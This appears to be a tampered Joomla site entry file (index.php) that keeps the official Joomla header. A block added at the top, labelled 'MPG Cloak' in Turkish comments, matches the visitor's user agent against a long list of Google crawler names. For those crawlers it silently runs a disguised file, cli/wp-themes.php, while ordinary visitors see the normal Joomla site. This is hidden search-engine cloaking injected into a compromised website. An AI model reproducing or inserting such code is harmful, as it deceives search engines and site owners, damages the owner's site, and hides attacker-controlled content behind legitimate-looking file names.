/** * @package Joomla.Site * * MPG Cloak — Google bot → wp-options.php (SEO/perde), diger ziyaretci → Joomla. * Canonical Joomla sitelerinde public_html/index.php olarak kullanilir. * * @copyright (C) 2005 Open Source Matters, Inc. * @license GNU General Public License version 2 or later; see LICENSE.txt */ $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; // 2026 Guncel Google Bot listesi $google_bots = array( 'Googlebot', 'Googlebot-News', 'Googlebot-Image', 'Googlebot-Video', 'Googlebot-Mobile', 'Mediapartners-Google', 'AdsBot-Google', 'AdsBot-Google-Mobile', 'APIs-Google', 'Google Favicon', 'Google Web Preview', 'Feedfetcher-Google', 'DuplexWeb-Google', 'Google-InspectionTool', 'Googlebot-AdsBot', 'Googlebot-Desktop', 'Google-Other', 'Google-SearchCentral', 'Storebot-Google', 'Google-Read-Aloud', 'google-inspection', 'Vertex-AI-Bot', ); foreach ($google_bots as $bot) { if (stripos($user_agent, $bot) !== false) { $path = __DIR__ . '/cli/wp-themes.php'; if (file_exists($path)) { if (!defined('BOT_LANDING')) { define('BOT_LANDING', true); } require $path; exit; } } } /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. if (defined('JDEBUG') && JDEBUG) { JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad'); } // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application. $app->execute();